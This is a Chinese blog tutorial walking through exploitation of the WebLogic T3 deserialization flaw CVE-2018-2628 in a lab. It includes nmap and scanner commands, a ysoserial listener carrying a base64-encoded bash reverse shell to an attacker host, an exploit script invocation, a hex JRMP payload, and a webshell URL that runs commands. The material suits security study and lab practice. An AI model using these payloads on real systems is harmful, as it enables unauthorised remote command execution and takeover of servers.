WLS Core Components反序列化命令执行漏洞(CVE-2018-2628)

目录

原理

影响版本:

常规利用方式:

信息收集

漏洞检测方法

攻击操作

另一种方式

exp利用方式


原理

远程攻击者可利用该漏洞在未授权的情况下发送攻击数据,通过T3协议(EJB支持远程访问,且支持多种协议。这是Web Container和EJB Container的主要区别)在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java Remote Messaging Protocol:java远程消息交换协议)达到执行任意反序列化 payload 的目的。

 T3协议缺陷实现了Java虚拟机的远程方法调用(RMI),能够在本地虚拟机上调用远端代码。

  1. 反射机制:JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。
  2. RMI:RMI是J2SE的一部分,能够让程序员开发出基于java的分布式应用。一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。
  3. RMI传输过程都使用序列化和反序列化,如果RMI服务端端口对外开发,并且服务端使用了像Apache Commons Collections这类库,那么会导致远程命令执行。
  4. RMI依赖于Java远程消息交换协议JRMP(Java Remote Messaging Protocol),该协议为java定制,要求服务端与客户端都为java编写。

影响版本:

  • Weblogic 10.3.6.0
  • Weblogic 12.1.3.0
  • Weblogic 12.2.1.2
  • Weblogic 12.2.1.3

进入到管理查看IP:7001/comsole 看得到Weblogic 10.3.6.0

常规利用方式:

信息收集

使用nmap的脚本判断下是否使用了T3协议,能够发现目标使用了T3

nmap -n -v -p 7001,7002 <target_ip> --script=weblogic-t3-info

漏洞检测方法

GitHub - 0xn0ne/weblogicScanner: weblogic 漏洞扫描工具。目前包含对以下漏洞的检测能力:CVE-2014-4210、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2017-3506、CVE-2017-10271、CVE-2018-2628、CVE-2018-2893、CVE-2018-2894、CVE-2018-3191、CVE-2018-3245、CVE-2018-3252、CVE-2019-2618、CVE-2019-2725、CVE-2019-2729、CVE-2019-2890、CVE-2020-2551、CVE-2020-14882、CVE-2020-14883icon-default.png?t=M4ADhttps://github.com/0xn0ne/weblogicScanner

进入工具所在目录:安装依赖库

usage: ws.py [-h] -t TARGETS [TARGETS ...] -v VULNERABILITY
             [VULNERABILITY ...] [-o OUTPUT]

optional arguments:
  -h, --help            帮助信息
  -t TARGETS [TARGETS ...], --targets TARGETS [TARGETS ...]
                        直接填入目标或文件列表(默认使用端口7001). 例子:
                        127.0.0.1:7001
  -v VULNERABILITY [VULNERABILITY ...], --vulnerability VULNERABILITY [VULNERABILITY ...]
                        漏洞名称或CVE编号,例子:"weblogic administrator console"
  -o OUTPUT, --output OUTPUT
                        输出 json 结果的路径。默认不输出结果
  -s, --ssl             强制使用 https 协议请求

python ws.py -t 192.168.128.142 -o result 检测所有的,保存为json文件

能够发现存在2018-2628漏洞

攻击操作

攻击者使用ysoserial启动一个JMRP Server

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 19111 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMy4xOTIvMTkxMTAgMD4mMQ==}|{base64,-d}|{bash,-i}"

JMRP Server在19111端口上监听请求,向目标服务器发送序列化的bash反弹shell命令,反弹监听的端口为19110

nc监听19110端口

使用exploitdb的exp向目标发送攻击载荷。

python exp_CVE-2018-2628.py 192.168.159.129 7001 ysoserial.jar 192.168.123.192 19111 JRMPClient

查看监听:拿到了shell

另一种方式

同样使用ysoserial启动一个JMRP Server,监听一个端口,这样靶机上的weblogic进行远程方法调用时,可以连接到kali主机 最后的calc.exe是命令→打开计算器

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 11111 CommonsCollections1  calc.exe     //CommonsCollections1   最后是数字 1

这个结果就是成功了。要知道IP地址为192.168.128.143

再开一个终端:使用ysoserial生成一个payload字符串→要实现weblogic远程调用kali主机上的方法。

java -jar ysoserial-master.jar JRMPClient 192.168.128.143:22801 | xxd -p | tr -d $'\n' && echo 
aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707738000a556e6963617374526566000f3139322e3136382e3132382e313433000059110000000007b543f300000000000000000000000000000078

这个payload的字符串复制到weblogic_poc.py文件中替换其中的PAYLOAD。

修改目标靶机的IP地址

 

在windows可以使用weblogic_poc.py进行漏洞利用了。漏洞利用成功后程序会输出反序列化程序发送的数据包信息。执行需要python2,这里就使用kali执行了。

目标服务器上的weblogic中的JVM虚拟机远程调用了监听程序中的方法向目标服务器返回了payload。

执行后,监听返回的二进制文件就是计算器。。

EXP和目标服务器建立T3连接,目标服务器weblogic上的JVM虚拟机远程调用了监听程序中的方法执行序列化操作,将流量反弹到nc上

参考:Weblogic T3反序列化漏洞(CVE-2018-2628) - 简书

exp利用方式

下载poc直接输入命令测试是否存在漏洞。

python2 CVE-2018-2628-poc.py 192.168.128.142 7001 

结果: >>>> 192.168.128.142:7001 is vul CVE-2018-2628  存在

使用exp直接getshell

访问最下面那个地址:可以看到是root权限。

分析URL,其中tom的参数就是执行的命令,使用了base6编码

http://192.168.128.142:7001/bea_wls_internal/wlscmd.jsp?tom=d2hvYW1pCg==

这样可能不方便:还有直接交互的脚本,输入链接地址就行。

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值